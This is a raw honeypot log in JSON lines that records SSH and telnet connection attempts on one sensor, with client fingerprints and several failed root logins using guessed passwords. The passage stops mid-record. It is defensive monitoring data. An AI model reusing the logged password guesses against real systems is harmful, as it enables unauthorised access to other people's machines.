{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:34:57.944883Z","src_ip":"167.172.81.52","session":"0e907c551540","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:34:57.949168Z","src_ip":"167.172.81.52","session":"0e907c551540","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35206,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4135a7a4251","protocol":"telnet","message":"New connection: 152.42.224.71:35206 (10.17.0.5:23) [session: b4135a7a4251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:36:30.084046Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.14.169.186","src_port":65229,"dst_ip":"10.17.0.5","dst_port":23,"session":"12529e69e852","protocol":"telnet","message":"New connection: 111.14.169.186:65229 (10.17.0.5:23) [session: 12529e69e852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:36:42.738754Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":48232,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3f8884281f9","protocol":"ssh","message":"New connection: 103.122.221.179:48232 (159.203.135.109:22) [session: a3f8884281f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:36:43.265016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:36:43.269445Z","src_ip":"103.122.221.179","session":"a3f8884281f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:36:43.519902Z","src_ip":"103.122.221.179","session":"a3f8884281f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hfleuf","message":"login attempt [root/hfleuf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:36:44.266382Z","src_ip":"103.122.221.179","session":"a3f8884281f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:36:45.517038Z","src_ip":"103.122.221.179","session":"a3f8884281f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.334217071533203,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:36:56.072875Z","src_ip":"111.14.169.186","session":"12529e69e852","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.48909258842468,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:37:12.572984Z","src_ip":"152.42.224.71","session":"b4135a7a4251","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"1.1.196.222","src_port":55978,"dst_ip":"159.203.135.109","dst_port":23,"session":"b032b0636ab7","protocol":"telnet","message":"New connection: 1.1.196.222:55978 (159.203.135.109:23) [session: b032b0636ab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:37:40.006841Z"}
{"eventid":"cowrie.session.closed","duration":12.780264616012573,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:37:52.786994Z","src_ip":"1.1.196.222","session":"b032b0636ab7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":37478,"dst_ip":"159.203.135.109","dst_port":22,"session":"c666c6bd92dc","protocol":"ssh","message":"New connection: 147.45.197.250:37478 (159.203.135.109:22) [session: c666c6bd92dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:38:00.599623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:38:00.604496Z","src_ip":"147.45.197.250","session":"c666c6bd92dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:38:00.698089Z","src_ip":"147.45.197.250","session":"c666c6bd92dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pioner","message":"login attempt [root/pioner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:38:00.978336Z","src_ip":"147.45.197.250","session":"c666c6bd92dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:38:02.074526Z","src_ip":"147.45.197.250","session":"c666c6bd92dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":55708,"dst_ip":"159.203.135.109","dst_port":22,"session":"da7f71e8cdf4","protocol":"ssh","message":"New connection: 103.172.78.219:55708 (159.203.135.109:22) [session: da7f71e8cdf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:38:05.323683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:38:05.328977Z","src_ip":"103.172.78.219","session":"da7f71e8cdf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:38:05.601115Z","src_ip":"103.172.78.219","session":"da7f71e8cdf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia5228","message":"login attempt [root/nokia5228] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:38:06.416964Z","src_ip":"103.172.78.219","session":"da7f71e8cdf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:38:07.701737Z","src_ip":"103.172.78.219","session":"da7f71e8cdf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.121.198.148","src_port":55387,"dst_ip":"159.203.135.109","dst_port":23,"session":"8da663af7b43","protocol":"telnet","message":"New connection: 125.121.198.148:55387 (159.203.135.109:23) [session: 8da663af7b43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:38:19.335761Z"}
{"eventid":"cowrie.session.closed","duration":14.560263395309448,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:38:33.895913Z","src_ip":"125.121.198.148","session":"8da663af7b43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42766,"dst_ip":"10.17.0.5","dst_port":23,"session":"37d360330564","protocol":"telnet","message":"New connection: 152.42.224.71:42766 (10.17.0.5:23) [session: 37d360330564]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:39:05.372602Z"}
{"eventid":"cowrie.session.closed","duration":43.49696493148804,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:39:48.869432Z","src_ip":"152.42.224.71","session":"37d360330564","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":42618,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb5076355d96","protocol":"ssh","message":"New connection: 89.108.118.91:42618 (159.203.135.109:22) [session: eb5076355d96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:40:35.516914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:40:35.522022Z","src_ip":"89.108.118.91","session":"eb5076355d96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:40:35.661124Z","src_ip":"89.108.118.91","session":"eb5076355d96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz3edc","message":"login attempt [root/1qaz3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:40:36.075138Z","src_ip":"89.108.118.91","session":"eb5076355d96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:40:37.215030Z","src_ip":"89.108.118.91","session":"eb5076355d96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":51778,"dst_ip":"10.17.0.5","dst_port":22,"session":"f53314552e9b","protocol":"ssh","message":"New connection: 103.77.242.62:51778 (10.17.0.5:22) [session: f53314552e9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:40:41.658155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:40:41.665824Z","src_ip":"103.77.242.62","session":"f53314552e9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:40:41.905753Z","src_ip":"103.77.242.62","session":"f53314552e9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hello","message":"login attempt [root/hello] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:40:42.631456Z","src_ip":"103.77.242.62","session":"f53314552e9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:40:43.874669Z","src_ip":"103.77.242.62","session":"f53314552e9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50502,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb0d38c93613","protocol":"telnet","message":"New connection: 152.42.224.71:50502 (10.17.0.5:23) [session: fb0d38c93613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:40:45.406907Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56502,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bd27d04efe9","protocol":"telnet","message":"New connection: 152.42.224.71:56502 (10.17.0.5:23) [session: 8bd27d04efe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:40:49.670281Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":40684,"dst_ip":"10.17.0.5","dst_port":22,"session":"f28dfeb43455","protocol":"ssh","message":"New connection: 103.98.149.87:40684 (10.17.0.5:22) [session: f28dfeb43455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:41:00.070543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:41:00.076756Z","src_ip":"103.98.149.87","session":"f28dfeb43455","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:41:00.330967Z","src_ip":"103.98.149.87","session":"f28dfeb43455","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789d","message":"login attempt [root/123456789d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:41:01.118374Z","src_ip":"103.98.149.87","session":"f28dfeb43455","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:41:02.365076Z","src_ip":"103.98.149.87","session":"f28dfeb43455","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.15827298164368,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:41:21.828443Z","src_ip":"152.42.224.71","session":"8bd27d04efe9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.33260941505432,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:41:24.739379Z","src_ip":"152.42.224.71","session":"fb0d38c93613","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"96.127.152.236","src_port":54718,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f98c5cb7196","protocol":"ssh","message":"New connection: 96.127.152.236:54718 (10.17.0.5:22) [session: 2f98c5cb7196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:42:05.416518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:42:05.421275Z","src_ip":"96.127.152.236","session":"2f98c5cb7196","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","a